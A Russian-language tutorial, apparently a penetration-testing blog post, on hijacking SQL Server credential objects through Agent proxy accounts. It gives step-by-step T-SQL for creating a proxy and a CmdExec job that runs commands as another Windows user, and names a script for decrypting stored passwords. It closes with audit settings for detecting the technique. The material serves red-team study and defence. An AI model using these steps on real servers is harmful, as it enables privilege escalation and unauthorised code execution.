В этой статье я расскажу об объектах учетных данных SQL Server и о том, как их могут использовать злоумышленники для выполнения кода от имени учетной записи SQL Server, локального пользователя Windows или доменного пользователя. Также я объясню, как включить ведение журнала, которое может помочь в выявлении этого поведения. Это будет интересно тестировщикам на проникновение, участникам Red Team и администраторам баз данных, которые ищут легальные обходные пути для аутентификации.
Сценарий
Начнем с описания распространенной ситуации и проблемы, которую мы пытаемся решить с помощью этой техники.
Вы — тестировщик на проникновение или участник Red Team.
Вы получили права системного администратора на SQL сервере через один из типичных векторов атак, таких как SQL-инъекция, слабый пароль, чрезмерные привилегии или некорректная конфигурация связи SQL Server.
Вы можете выполнять команды и код на хостовой операционной системе в контексте учетной записи службы SQL Server с помощью различных методов, таких как xp_cmdshell, пользовательские CLR, задания агента и т.д.
Проблема в том, что служба SQL Server настроена на запуск от имени учетной записи NT Service\MSSQLSERVER, которая имеет ограниченные привилегии на операционной системе. Как тестировщики, мы стремимся получить права локального администратора как минимум, а если повезет, то и права администратора домена. Нам нужно найти обходной путь.
Учитывая ограничения учетной записи NT Service\MSSQLSERVER, наш следующий шаг заключается в попытке повысить привилегии на локальной системе. Существует множество подходов к эскалации привилегий на уровне операционной системы Windows, но я хотел бы рассмотреть, как учетные данные SQL Server могут быть использованы в этой ситуации, если они настроены на сервере.
Что такое объект учетных данных в SQL Server?
Учетные данные — это объекты в SQL Server, которые хранят информацию, такую как имена пользователей и пароли, используемые для аутентификации с внешними ресурсами, такими как другие SQL Server, файловые ресурсы или веб-сервисы, и выполнения процессов/задач от имени другого пользователя. Типы учетных данных включают учетные записи SQL Server, локальных пользователей Windows и доменных пользователей Active Directory.
Некоторые общие подсистемы SQL Server, использующие учетные данные:
Jobs агента
SQL Server Integration Services (SSIS)
SQL Server Reporting Services (SSRS)
Связанные серверы
Почта базы данных
Service Broker
Репликация
Существует множество законных случаев использования учетных данных в SQL Server, однако, как и все токены аутентификации, они могут стать целью для злоумышленников.
Как восстановить имена пользователей и пароли, хранящиеся в объектах учетных данных?
Получение паролей в открытом виде может быть крайне полезным во время повышения привилегий. Но как их извлечь из объектов учетных данных SQL Server? Главная сложность — это шифрование.
К счастью, Антти Рантасаари разработал в 2014 году PowerShell-скрипт, который расшифровывает учетные данные, хранящиеся в объектах SQL Server. Этот скрипт был перенесен в функцию Get-DecryptedObject в модуле DBATools.
Чтобы запустить функцию Антти, импортируйте его PowerShell-функцию и выполните команду:
Get-MSSQLCredentialPasswords
Однако перед тем, как начать работу, стоит учесть некоторые требования:
В нашем сценарии мы не удовлетворяем всем необходимым условиям для восстановления паролей в открытом виде из объектов учетных данных. Техника Антти Рантасаари весьма эффективна, но требует наличия прав локального администратора на Windows-системе, на которой размещен SQL Server. Без этих привилегий она неприменима. Что же делать, если у нас нет прав локального администратора?
Как использовать объекты учетных данных SQL Server без прав локального администратора?
Как уже упоминалось, объекты учетных данных SQL Server предназначены для доступа к внешним ресурсам и выполнения задач от имени другого пользователя. Это означает, что нам не нужно восстанавливать имена пользователей и пароли в открытом виде для выполнения кода в контексте другого пользователя — мы можем использовать функционал так, как он был задуман.
Далее приведен процесс, который можно использовать для "перехвата" существующего объекта учетных данных, настроенного на сервере SQL Server, позволяя выполнять код в контексте предоставленного пользователя с использованием заданий агента SQL Server. Пароль или права локального администратора не требуются.
Настройка лабораторной среды
Для демонстрации того, как можно перехватить учетные данные, настроим лабораторную среду:
1. Установите SQL Server.
2. Создайте локального пользователя Windows с именем testuser и сделайте его локальным администратором:
net user testuser P@ssw0rd! /add
net localgroup administrators /add testuser
3. Войдите в SQL Server и создайте объект учетных данных:
CREATE CREDENTIAL [MyCredential]
WITH IDENTITY = 'yourcomputernamehere\testuser',
SECRET = 'P@ssw0rd!';
Пошаговое руководство по выполнению кода с использованием учетных данных
1. Зайдите на SQL Server и проверьте, есть ли у вас права системного администратора:
SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;
2. Список учетных данных. Следующий запрос предоставит вам список учетных данных, настроенных на сервере SQL Server. Если они существуют, вы уже на полпути:
SELECT * FROM sys.credentials;
3. Список прокси-аккаунтов. Прокси-аккаунты связаны с объектами учетных данных и используются job’ми агента. Использование существующего прокси-аккаунта может снизить вероятность обнаружения:
USE msdb;
GO
SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO
4. Создайте учетную запись прокси-сервера. Если учетная запись прокси-сервера еще не существует, мы можем ее создать и назначить ей необходимые привилегии. Для получения дополнительной информации об учетных записях прокси-серверов ознакомьтесь с разделом https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16 .
USE msdb;
GO
EXEC sp_add_proxy
@proxy_name = N'MyCredentialProxy', -- Name of the proxy
@credential_name = N'MyCredential'; -- Name of the existing credential
EXEC sp_grant_proxy_to_subsystem
@proxy_name = N'MyCredentialProxy',
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
5. Проверьте создание прокси-аккаунта:
USE msdb;
GO
SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO
6. Создайте задание агенту для выполнения нужного кода или команд на операционной системе. По умолчанию доступны PowerShell, VBScript, JScript и CMDEXEC. В следующем примере создается файл whoami.txt в папке C:\Windows\Temp, чтобы показать, что процесс был выполнен в контексте прокси-пользователя:
USE msdb;
GO
-- Create the job
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- Name of the job
-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec',
@command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'MyCredentialProxy'; -- The proxy created earlier
-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = Once
@active_start_date = 20240820,
@active_start_time = 120000;
-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)';
7. Используйте следующий запрос для проверки того, использует ли агент прокси-аккаунт. Запрос также покажет все остальные jobs агента:
USE msdb;
GO
SELECT
jobs.name AS JobName,
steps.step_id AS StepID,
steps.step_name AS StepName,
proxies.name AS ProxyName,
ISNULL(credentials.name, 'No Credential') AS CredentialName,
ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName
FROM
msdb.dbo.sysjobs AS jobs
JOIN
msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id
JOIN
msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id
LEFT JOIN
sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id
WHERE
steps.proxy_id IS NOT NULL
ORDER BY
jobs.name, steps.step_id;
8. Выполните job агента, чтобы запустить процесс от имени прокси-аккаунта и выполнить код/команду:
EXEC sp_start_job @job_name = N'WhoAmIJob';
9. Подтвердите выполнение, проверив содержимое файла whoami.txt в папке C:\Windows\Temp.
Таким образом, мы смогли выполнить команды на хостовой операционной системе, используя учетные данные, не зная имени пользователя или пароля. Однако если вам удастся имитировать пользователя с правами локального администратора, вы также сможете восстановить имя пользователя и пароль в открытом виде, используя технику Антти.
Возможности для обнаружения и поиска
Предыдущий раздел был полезен для злоумышленников, но теперь рассмотрим способы защиты. Вот обзор некоторых возможностей для обнаружения атак.
Источник данных: Логи приложений
Стратегия обнаружения: Поведенческая
Концепция обнаружения: Чтобы обнаружить злоупотребление учетными данными через прокси-аккаунты, создайте спецификации аудита сервера и базы данных, которые могут выявить создание прокси-аккаунта, отслеживая выполнение хранимых процедур sp_add_proxy и sp_grant_proxy_to_subsystem. SQL Server также может быть настроен для отправки этих событий в журнал приложений Windows, где можно отслеживать событие с идентификатором 33205.
Настройки для конфигурации обнаружения:
1. Создание аудита сервера:
Use master
CREATE SERVER AUDIT [ProxyAccountAudit]
TO APPLICATION_LOG
WITH (ON_FAILURE = CONTINUE);
GO
2. Создание спецификации аудита базы данных. Это фиксирует изменения уровня сервера и базы данных в базе данных msdb:
USE msdb;
GO
CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]
FOR SERVER AUDIT [ProxyAccountAudit]
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])
WITH (STATE = ON);
GO
3. Включение спецификации:
Use master
GO
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON);
GO
Use msdb
GO
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]
WITH (STATE = ON);
GO
4. Теперь, если вы повторно выполните шаги по созданию прокси-аккаунта и проверите журнал приложений Windows на наличие события с идентификатором 33205, вы должны увидеть записи о выполнении процедур sp_add_proxy и sp_grant_proxy_to_subsystem.
Заключение
Если вам интересно изучить другие материалы по наступательной безопасности, связанные с SQL Server, вы можете найти их на сайте powerupsql.com. На сайте представлены код PowerUpSQL, шаблоны атак на SQL Server, шаблоны обнаружения, инструкции по повышению привилегий, блоги и презентации, посвященные взлому SQL Server.
Примечание: Я пока не тестировал эту технику на базе данных Azure SQL, однако предварительные исследования показывают, что учетные данные в этой среде не поддерживаются.